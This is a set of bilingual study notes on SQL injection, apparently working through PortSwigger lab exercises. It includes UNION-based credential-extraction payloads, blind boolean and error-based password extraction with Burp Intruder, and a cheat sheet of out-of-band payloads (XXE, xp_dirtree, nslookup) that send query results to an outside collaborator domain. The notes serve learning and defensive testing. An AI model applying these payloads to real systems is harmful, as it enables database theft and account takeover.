
本文共 47960 字,大约阅读时间需要 159 分钟。
SQL injection
目录
#
一、What
- a web security vulnerability 一个web安全漏洞
- 攻击者 干扰应用程序
- 对数据库查询
- 查看一般情况无法检索的数据
- 攻击者可以查看并修改
- sometimes 攻击者可以升级SQL注入 破坏基础服务器,后端基础结构
二、Influence
成功的SQL注入攻击 的 影响
- 未经授权 访问敏感数据(密码 信用卡详细信息)
- 声誉受损 监管罚款
- 攻击者 获得 组织系统持久后门
三、SQL injection examples
1.retrieving hidden data检索隐藏数据
修改SQL查询 以 返回其他结果
-
用户点击商品,浏览器请求URL:https://insecure-website.com/products?category=Gifts
-
导致SQL query 从数据库 检索相关 商品的信息
-
数据库返回
-
released = 1 : 隐藏没发布的商品
-
released = 0 :没发布的商品
-
应用程序没有实现任何针对SQL注入攻击的防御,所以攻击者可以构造类似攻击
-
关键在于:-- 是SQL 的注释符,意味着查询的其余部分将被解释为注释,有效删除其余查询部分,不在包含 AND 之后的内容,则显示所有产品,包括未发布的。
-
-
显示应用 展示所有种类 的商品
-
修改后的查询将返回类别为Gifts或1等于1的所有项目。由于1 = 1始终为true,因此查询将返回所有项目。
2.subverting application logic颠覆应用程序逻辑
更改查询 以 干扰应用程序的逻辑
- 考虑一个允许用户使用用户名和密码登录的应用程序。 如果用户提交用户名wiener和密码bluecheese,则应用程序将通过执行以下SQL查询来检查凭据:
- 如果查询返回用户的详细信息,则登录成功。 否则,它将被拒绝。
-在这里,攻击者只需使用SQL注释序列即可以没有密码的任何用户身份登录-从查询的WHERE子句中删除密码检查。 例如,提交用户名“ administrator”和空白密码将导致以下查询
3.SQL injection UNION attacks
不同数据库表 检索数据
在应用程序 的响应中返回了SQL查询的结果,攻击者可以利用SQL注入漏洞从数据库中 其他表中检索数据。利用UNION关键字完成的
当 应用程序容易受到SQL注入攻击 并且 查询结果在应用程序的响应中返回时,可以使用UNION关键字从数据库中的其他表中检索数据。 这将导致SQL注入UNION攻击。
The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query. For example:
此SQL查询将返回包含两列的单个结果集,其中包含表1中的a和b列以及表2中的c和d列的值。
为了使UNION查询正常工作,必须满足两个关键要求:
- 各个查询必须返回相同数量的列。
- 每列中的数据类型在各个查询之间必须兼容。
原始查询返回了多少列?
从原始查询返回的哪些列具有合适的数据类型,可以保存来自注入查询的结果?
3.1 确定列数 在UNION attack
执行SQL注入UNION攻击时,有两种有效的方法来确定从原始查询返回多少列。
法一 :递增列索引
第一种方法涉及注入一系列ORDER BY子句,并递增指定的列索引,直到发生错误为止。 例如,假设注入点是原始查询的WHERE子句中带引号的字符串,则应提交:
这一系列有效负载修改了原始查询,以按结果集中的不同列对结果进行排序。 可以通过其索引指定ORDER BY子句中的列,因此您无需知道任何列的名称。 当指定的列索引超过结果集中的实际列数时,数据库将返回错误,例如:
该应用程序实际上可能在其HTTP响应中返回数据库错误,或者它可能返回一个通用错误,或者仅不返回任何结果。 只要您可以检测到应用程序响应中的某些差异,就可以推断出查询返回了多少列。
法二:UNION SELECT有效负载指定空值
- 第二种方法涉及提交一系列UNION SELECT有效负载,这些有效负载指定了不同数量的空值:
如果空数与列数不匹配,则数据库将返回错误,例如:
再次,应用程序可能实际上返回此错误消息,或者可能仅返回一般错误或没有结果。 当空数与列数匹配时,数据库将在结果集中返回另一行,其中每一列均包含空值。 对产生的HTTP响应的影响取决于应用程序的代码。 如果幸运的话,您将在响应中看到一些其他内容,例如HTML表格上的额外行。 否则,空值可能会触发其他错误,例如NullPointerException。 在最坏的情况下,响应可能与由不正确的null数引起的响应没有区别,这使得确定列数的此方法无效。
Lab :determining the number of columns returned by the query
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。 攻击的第一步是确定查询所返回的列数。 然后,您将在随后的实验中使用此技术来构建完整的攻击。
要解决此问题,请通过执行SQL注入UNION攻击(返回包含空值的附加行)来确定查询返回的列数。
-
使用Burp Suite来拦截和修改设置产品类别过滤器的请求。
-
Modify the category parameter, giving it the value
'+UNION+SELECT+NULL--.
Observe that an error occurs.
注意是添加不是替换😅
-
修改category参数以添加包含空值的附加列:
'+UNION+SELECT+NULL,NULL--
最终在添加’+UNION+SELECT+NULL,NULL,NULL–后solved
使用NULL作为从注入的SELECT查询返回的值的原因是,每列中的数据类型在原始查询和注入的查询之间必须兼容。 由于NULL可以转换为每种常用的数据类型,因此使用NULL可以最大程度地提高当列数正确时有效负载成功的机会。
在Oracle上,每个SELECT查询都必须使用FROM关键字并指定一个有效表。 Oracle上有一个内置表称为DUAL,可用于此目的。 因此,在Oracle上注入的查询将需要如下所示:'UNION SELECT NULL FROM DUAL–。
所描述的有效负载使用双破折号注释序列-注释掉注入点之后原始查询的其余部分。 在MySQL上,双破折号序列后面必须有一个空格。 可替代地,散列字符#可以用于标识评论。
有关特定于数据库的语法的更多详细信息,请参见SQL注入备忘单。
3.2 在SQL注入UNION攻击中查找具有有用数据类型的列
执行SQL注入UNION攻击的原因是能够从注入的查询中检索结果。 通常,您要检索的有趣数据将采用字符串形式,因此您需要在原始查询结果中查找其数据类型为字符串数据或与字符串数据兼容的一列或多列。
已经确定了所需的列数之后,您可以通过提交一系列将字符串值依次放入各列的UNION SELECT有效负载,来探查各列以测试其是否可以容纳字符串数据。 例如,如果查询返回四列,则您将提交:
如果列的数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,例如:
如果没有发生错误,并且应用程序的响应包含一些其他内容,包括注入的字符串值,则相关列适用于检索字符串数据。
Lab: SQL injection UNION attack, finding a column containing text
该实验室在 产品类别 过滤器 中包含一个SQL注入漏洞。 查询的结果将在 应用程序的响应 中 返回 ,因此您可以使用UNION攻击从其他表中检索数据。 要构造这样的攻击,您首先需要确定查询返回的列数。 您可以使用在上一个实验室中学到的技术来做到这一点。 下一步是确定与字符串数据兼容的列。 实验室将提供您需要在查询结果中显示的随机值。 要解决此问题,请执行SQL注入UNION攻击,该攻击将返回包含所提供值的另一行。 此技术可帮助您确定哪些列与字符串数据兼容。
-
确定查询正在返回的列数。 使用category参数中的以下有效负载,验证查询是否返回三列:
'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+NULL,NULL,NULL,NULL–
-
尝试将每个null替换为实验室提供的随机值,例如:
'+UNION+SELECT+'abcdef',NULL,NULL--
-
如果发生错误,请移至下一个null并尝试。
'+UNION+SELECT+NULL,‘abcdef’,NULL–
forward后得到:
'+UNION+SELECT+NULL,NULL,‘abcdef’–
'+UNION+SELECT+NULL,'OMaYLi',NULL--
3.3 使用SQL注入UNION攻击来检索有趣的数据
Using an SQL injection UNION attack to retrieve interesting data
确定原始查询返回的列数并确定哪些列可以容纳字符串数据后,就可以检索有趣的数据了。
假设:
- 原始查询返回两列,这两列都可以保存字符串数据。
- 注入点是WHERE子句中带引号的字符串。
- 该数据库包含一个名为users的表,其用户名和密码列。
在这种情况下,您可以通过提交输入来检索users表的内容:’ UNION SELECT username, password FROM users–
当然,执行此攻击所需的关键信息是有一个名为users的表,该表有两列,分别为username和password。 没有这些信息,您将不得不尝试猜测表和列的名称。 实际上,所有现代数据库都提供了检查数据库结构,确定数据库包含哪些表和列的方法。
Lab: SQL injection UNION attack, retrieving data from other tables
SQL注入UNION攻击,从其他表中检索数据
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。 要构造这样的攻击,您需要结合您在以前的实验中学到的一些技术。该数据库包含另一个名为用户的表,其表名为用户名和密码。要解决此问题,请执行SQL注入UNION攻击,以检索所有用户名和密码,并使用该信息以管理员用户身份登录。
2. 确定查询返回的列数以及哪些列包含文本数据。 使用类别参数中的以下内容,验证查询是否返回两列,且两列都包含文本:’+UNION+SELECT+‘abc’,‘def’–.
- 使用以下有效负载来检索用户表的内容:’+UNION+SELECT+username,+password+FROM+users–
4.验证应用程序的响应是否包含用户名和密码。
3.4 在单个列中检索多个值
在前面的示例中,假设查询仅返回单个列。
通过将值串联在一起,可以轻松地在单个列中一起检索多个值,理想情况下,还可以使用合适的分隔符来区分组合的值。 例如,在Oracle上,您可以提交输入:
' UNION SELECT username || '~' || password FROM users--
这使用双管道顺序|| 这是Oracle上的字符串连接运算符。 注入的查询将用户名和密码字段的值连接在一起,并用〜字符分隔。
查询的结果将使您读取所有用户名和密码,例如:
请注意,不同的数据库使用不同的语法来执行字符串连接。 有关更多详细信息,请参见SQL注入备忘单。
Lab: SQL injection UNION attack, retrieving multiple values in a single column
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform an SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。
该数据库包含另一个名为用户的表,其列名为用户名和密码。
要解决此问题,请执行SQL注入UNION攻击,以检索所有用户名和密码,并使用该信息以管理员用户身份登录。
- Use Burp Suite to intercept and modify the request that sets the product category filter.
- Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, only one of which contain text, using a payload like the following in the category parameter:
'+UNION+SELECT+NULL,'abc'--
- Use the following payload to retrieve the contents of the users table:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
- Verify that the application’s response contains usernames and passwords.
administrator~ykxoy4eug6rcibqx7p16
4. Examining the database检查数据库
提取有关数据库版本和结构信息
初步识别SQL注入漏洞后,获取有关数据本身的一些信息通常很有用,为进一步开发铺平道路。
查阅数据库版本的详细信息,完成此操作的方式取决于数据库的类型,因此从可行的技术中推断出数据库类型
4.1 查询数据路的类型和版本
不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。
确定某些流行数据库类型的数据库版本的查询如下:
Lab: SQL injection attack, querying the database type and version on Oracle
This lab contains an SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
-
使用Burp Suite来拦截和修改设置产品类别过滤器的请求。
-
确定查询返回的列数以及哪些列包含文本数据。 使用类别参数中的以下内容,验证查询是否返回两列,且两列都包含文本:
'+UNION+SELECT+'abc','def'+FROM+DUAL--
可见是两列不是三列
- 使用以下有效负载来显示数据库版本:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 您可以使用UNION攻击从注入的查询中检索结果。
要解决此问题,请显示数据库版本字符串。
'+UNION+SELECT+'abc','def'#
'+UNION+SELECT+@@version,+NULL#
4.2 列出数据库的内容
Listing the contents of the database
大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,这些视图提供有关数据库的信息。
You can query information_schema.tables to list the tables in the database:
SELECT * FROM information_schema.tables
This returns output like the following:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPEMyDatabase dbo Products BASE TABLEMyDatabase dbo Users BASE TABLEMyDatabase dbo Feedback BASE TABLE
This output indicates that there are three tables, called Products, Users, and Feedback.
You can then query information_schema.columns to list the columns in individual tables:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
This returns output like the following:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPEMyDatabase dbo Users UserId intMyDatabase dbo Users Username varcharMyDatabase dbo Users Password varchar
This output shows the columns in the specified table and the data type of each column.
此输出显示指定表中的列以及每个列的数据类型。
Lab: SQL injection attack, listing the database contents on non-Oracle databases
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。
该应用程序具有登录功能,并且数据库包含一个包含用户名和密码的表。 您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
要解决此问题,请以管理员用户身份登录。credentials
-
Use Burp Suite to intercept and modify the request that sets the product category filter.
得到应该是两列
-
Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:
'+UNION+SELECT+'abc','def'--.
-
Use the following payload to retrieve the list of tables in the database:
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
-
查找包含用户的表的名称。
users_qeayrt -
Use the following payload (replacing the table name) to retrieve the details of the columns in the table: 使用以下有效负载(替换表名)来检索表中列的详细信息:
'+UNION+SELECT+column_ name,+NULL+FROM+information_schema.columns+WHERE+table name='users abcdef'--
'+UNION+SELECT+column_ name,+NULL+FROM+information_schema.columns+WHERE+table name='users_qeayrt'--
- 查找包含用户名和密码的列的名称。
??? - 使用以下有效负载(替换表和列名称)来检索所有用户的用户名和密码:
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_svfrup--
'+UNION+SELECT+username_hnulmk,+password_svfrpu+FROM+users_qeayrt--
- Find the password for the administrator user, and use it to log in.
qw21oh36dwkpg3p66dmu
4.3 等效于Oracle上的信息架构
On Oracle, you can obtain the same information with slightly different queries.
You can list tables by querying all_tables:
SELECT * FROM all_tables
And you can list columns by querying all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = ‘USERS’
Lab: SQL injection attack, listing the database contents on Oracle
该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。
该应用程序具有登录功能,并且数据库包含一个包含用户名和密码的表。 您需要确定该表的名称及其包含的列,然后检索该表的内容以获得所有用户的用户名和密码。
要解决此问题,请以管理员用户身份登录。
- Use Burp Suite to intercept and modify the request that sets the product category filter.
- Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:
'+UNION+SELECT+'abc','def'+FROM+DUAL--
- Use the following payload to retrieve the list of tables in the database:
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
- Find the name of the table containing user credentials.
- Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
- Find the names of the columns containing usernames and passwords.
- Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
- Find the password for the administrator user, and use it to log in.
USERS_KQOSIM
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_KQOSIM
'–
USERNAME_ZUJIZG
PASSWORD_CXAOGU
'+UNION+SELECT+USERNAME_ZUJIZG,+PASSWORD_CXAOGU+FROM+USERS_KQOSIM--
ue4u3pcv8459ahi47gva
SQL injection cheat sheet
该SQL注入备忘单包含有用的语法示例,您可以使用这些语法来执行执行SQL注入攻击时经常出现的各种任务。
字符串连接String concatenation
子串
您可以从具有指定长度的指定偏移量中提取字符串的一部分。 请注意,偏移索引是基于1的。 以下每个表达式将返回字符串ba
注释
您可以使用注释来截断查询并删除输入之后的原始查询部分。
数据库版本
您可以查询数据库以确定其类型和版本。 在制定更复杂的攻击时,此信息很有用。
数据库内容
您可以列出数据库中存在的表以及这些表包含的列。
Oracle | SELECT * FROM all_tables |
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
Microsoft | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
PostgreSQL | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ | |
MySQL | SELECT * FROM information_schema.tables |
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
条件错误
您可以测试单个布尔条件,如果条件为true,则触发数据库错误。
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’) |
Batched (or stacked) queries
批处理(或堆叠)查询
您可以使用批处理查询来连续执行多个查询。 请注意,在执行后续查询时,结果不会返回给应用程序。 因此,该技术主要用于与盲目的漏洞有关的问题,在该漏洞中,您可以使用第二个查询来触发DNS查找use a second query to trigger a DNS lookup,条件错误或时间延迟。
使用MySQL,批处理查询通常不能用于SQL注入。 但是,如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信,这有时是可能的。
时间延迟
处理查询时,可能导致数据库中的时间延迟。 以下情况将导致10秒的无条件时间延迟。
有条件的时间延迟
您可以测试单个布尔条件,并在条件为真时触发时间延迟。
You can test a single boolean condition and trigger a time delay if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’ |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),‘a’) |
DNS查询
您可以使数据库对外部域执行DNS查找。 为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认是否发生了DNS查找。
Oracle | 以下技术利用XML外部实体(XXE)漏洞来触发DNS查找。 该漏洞已得到修补,但是存在许多未修补的Oracle安装: |
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual | |
以下技术适用于完全修补的Oracle安装,但是需要提升的特权: | |
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') | |
Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
MySQL | The following techniques work on Windows only:LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
DNS查找与数据渗透
您可以使数据库对包含注入查询结果的外部域执行DNS查找。 为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被窃取的数据。
Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
PostgreSQL | ![]() |
MySQL | The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
5. Blind SQL injection vulnerabilities
控制的查询不会在任何应用响应里 返回
SQL注入的许多实例都是盲目漏洞。盲目了漏洞仍可以被利用访问未授权的数据,所涉及的技术通常更加复杂。
根据漏洞的性质和所涉及的数据库,可以使用已在技术来利用盲目的SQL注入漏洞:
- 更改查询逻辑,以根据单个条件的真实性触发应用程序响应中可检测到的差异。 这可能涉及向某个布尔逻辑中注入新条件,或有条件地触发诸如零除之类的错误。
- 有条件的触发查询处理中的时间延迟,给句应用程序响应时间推断条件的真相。
- 使用OAST技术出发外网络交互.您可以使用OAST技术触发带外网络交互。 该技术非常强大,可以在其他技术无法使用的情况下使用。 通常,您可以直接通过带外通道窃取数据,例如,将数据放入您控制的域的DNS查找中。
5.1 What is blind SQL injection?
在本节中,我们将描述什么是盲SQL注入,并解释用于发现和利用盲SQL注入漏洞的各种技术。 Blind SQL injection arises 【 when an application is vulnerable to SQL injection】, but 【its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors】. With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query 【within the application's responses】. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.
当应用程序容易受到SQL注入攻击但其HTTP响应***不包含***相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入
由于存在盲目SQL注入漏洞,许多技术(例如UNION攻击)并不有效,因为它们依赖于能够在应用程序的响应中查看注入查询的结果。 仍然有可能利用盲目SQL注入来访问未经授权的数据,但是必须使用不同的技术。
5.2 通过触发条件响应来利用盲目SQL注入
考虑一个使用跟踪cookie收集有关使用情况的分析的应用程序。 对应用程序的请求包括一个cookie标头,如下所示:Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this: (处理包含TrackingId cookie的请求时,应用程序将使用以下SQL查询来确定这是否是已知用户:)SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' 该查询容易受到SQL注入的影响,但是查询的结果不会返回给用户。 但是,应用程序的行为会有所不同,具体取决于查询是否返回任何数据。 如果返回数据(由于提交了公认的TrackingId),则页面内将显示“欢迎回来”消息。 此行为足以利用盲SQL注入漏洞并通过根据注入条件有条件地触发不同的响应来检索信息。 要查看其工作原理,假设发送了两个请求,这些请求依次包含以下TrackingId Cookie值: …xyz' AND '1'='1 …xyz' AND '1'='2 这些值中的第一个将导致查询返回结果,因为插入的AND'1'='1条件为true,因此将显示“ Welcome back”消息。 而第二个值将导致查询不返回任何结果,因为注入的条件为false,因此将不会显示“欢迎回来”消息。 这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据。 例如,假设有一个名为“用户”的表,该表的“用户名”和“密码”列,以及一个名为“管理员”的用户。 我们可以通过发送一系列输入来一次一次测试一个密码来系统地确定该用户的密码。 我们从以下输入开始: xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm 这将返回“ Welcome back”消息,指示注入的条件为true,因此密码的第一个字符大于m 。 接下来,我们发送以下输入: xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't 这不会返回“ Welcome back”消息,表明注入的条件为假,因此密码的第一个字符不大于t。 最终,我们发送以下输入,该输入返回“ Welcome back”消息,从而确认密码的第一个字符为s: xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's 我们可以继续此过程,以系统地确定管理员用户的完整密码。 在某些类型的数据库上,SUBSTRING函数称为SUBSTR。 有关更多详细信息,请参见SQL注入备忘单。
Lab: Blind SQL injection with conditional responses
该实验室包含一个盲目的SQL注入漏洞。 该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。不返回SQL查询的结果,并且不显示任何错误消息。 但是,如果查询返回任何行,则应用程序将在页面中包含“欢迎回来”消息。该数据库包含另一个名为用户的表,其表名为用户名和密码。 您需要利用盲目的SQL注入漏洞来找出管理员用户的密码。要解决此问题,请以管理员用户身份登录。
-
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let’s say the original value of the cookie is
TrackingId=xyz
-
Modify the TrackingId cookie, changing it to:
TrackingId=xyz' AND '1'='1
Verify that the “Welcome back” message appears in the response. -
Now change it to:
TrackingId=xyz' AND '1'='2
Verify that the “Welcome back” message does not appear in the response. This demonstrates how you can test a single boolean condition and infer the result. -
Now change it to:
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
Verify that the condition is true, confirming that there is a table called users. -
Now change it to:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a.
Verify that the condition is true, confirming that there is a user called administrator. -
The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
This condition should be true, confirming that the password is greater than 1 character in length. -
Send a series of follow-up values to test different password lengths. Send:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
Then send:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the “Welcome back” message disappears), you have determined the length of the password, which is in fact 20 characters long. -
After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
-
In the Positions tab of Burp Intruder, clear the default payload positions by clicking the “Clear §” button.
-
In the Positions tab, change the value of the cookie to:
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. 我们的攻击将循环遍历每个位置和可能的值,依次进行测试 -
Place payload position markers around the final a character in the cookie value. To do this, select just the a, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers): TrackingId=xyz’ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=‘administrator’)=’§a§
-
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters.小写字母数字字符 Go to the Payloads tab, check that “Simple list” is selected, and under “Payload Options” add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
-
To be able to tell when the correct character was submitted, you’ll need to grep each response for the expression “Welcome back”. To do this, go to the Options tab, and the “Grep - Match” section. Clear any existing entries in the list, and then add the value “Welcome back”.
为了能够知道何时提交了正确的字符,您需要grep表示“欢迎回来”的每个响应。 为此,请转到“选项”标签,然后选择“ Grep-匹配”部分。 清除列表中的所有现有条目,然后添加值“欢迎回来”。 -
Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
-
Review the attack results to find the value of the character at the first position. You should see a column in the results called “Welcome back”. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position.
检查攻击结果,找出字符在第一个位置的值。您应该在结果中看到一个名为“Welcome back”的列。其中一行应该在这个列中有一个勾号。该行显示的有效负载是第一个位置的字符的值 -
Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value: 现在,您只需要对密码中的每个其他字符位置重新运行攻击,以确定它们的值。要做到这一点,回到主Burp窗口和Burp入侵者的位置选项卡,并将指定的偏移量从1更改为2。然后,您将看到以下作为cookie值的内容
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
-
Launch the modified attack, review the results, and note the character at the second offset. 启动修改后的攻击,检查结果,并注意第二个偏移位置的字符
-
Continue this process testing offset 3, 4, and so on, until you have the whole password.
-
In your browser, click “My account” to open the login page. Use the password to log in as the administrator user.
没有那个英文句号 idiot
把你的TrackingId的值整个用一对单引号括起来,但是因为是字符串拼接,我们的输入有引号也会拼接进来,不会进行转换
u5YD3PapBcR4lN3e7Tj4’ AND ‘1’='1
它把这个当成一个字符串拼接进去,就会整体套一对单引号
‘u5YD3PapBcR4lN3e7Tj4’ AND ‘1’=‘1’
AND从字符串变成一个逻辑运算符了
什么时候为真,就是AND前后都是真的时候嘛
说明 确定了有一张表叫做user
确定了user里有一个用户叫administrator
确定了里面的密码长度是大于1 的
welcome说明逻辑为真 前为真,后面的a=a (前面的a是从有条件的表名,用户名 密码长度)
继续确定密码长度
19的时候还有welcome back 的响应
20 无
说明密码长度为20
(passaward,4,1)
从第四个开始 ,步进值为1
krhhguewtzrrb33o0ghc
去理解sql盲注的 返回(AND的逻辑值来验证,确定表名确定用户名、密码长度、每一位密码)
5.3 通过触发SQL错误来诱导条件响应
Inducing conditional responses by triggering SQL errors
在前面的示例中,假设应用程序执行相同的SQL查询,但根据查询是否返回任何数据,其行为没有任何不同。but does not behave any differently depending on whether the query returns any data. 前面的技术将不起作用,因为注入不同的布尔条件不会对应用程序的响应产生任何影响。
在这种情况下,取决于注入的条件,通常有可能通过有条件地触发SQL错误来促使应用程序返回条件响应。 这涉及修改查询,以便在条件为true时将引起数据库错误,而在条件为false时不会导致数据库错误。 通常,数据库引发的未处理错误将导致应用程序响应有所不同(例如错误消息),从而使我们能够推断出注入条件的真实性。
要查看其工作原理,假设发送了两个请求,这些请求依次包含以下TrackingId Cookie值:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
这些输入使用CASE关键字来测试条件,并根据表达式是否为真来返回不同的表达式。 在第一个输入的情况下,CASE表达式的计算结果为“ a”,这不会引起任何错误。(条件是错的false不会导致数据库错误)
使用第二个输入,其求值为1/0,这将导致被零除的误差。 假设错误导致应用程序的HTTP响应有所不同,我们可以使用此差异来推断注入条件是否为true。
使用这项技术,我们可以通过系统地一次测试一个字符来以已描述的方式检索数据:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
触发条件错误的方式有很多种,并且不同的技术在不同的数据库类型上效果最佳。 有关更多详细信息,请参见SQL注入备忘单。
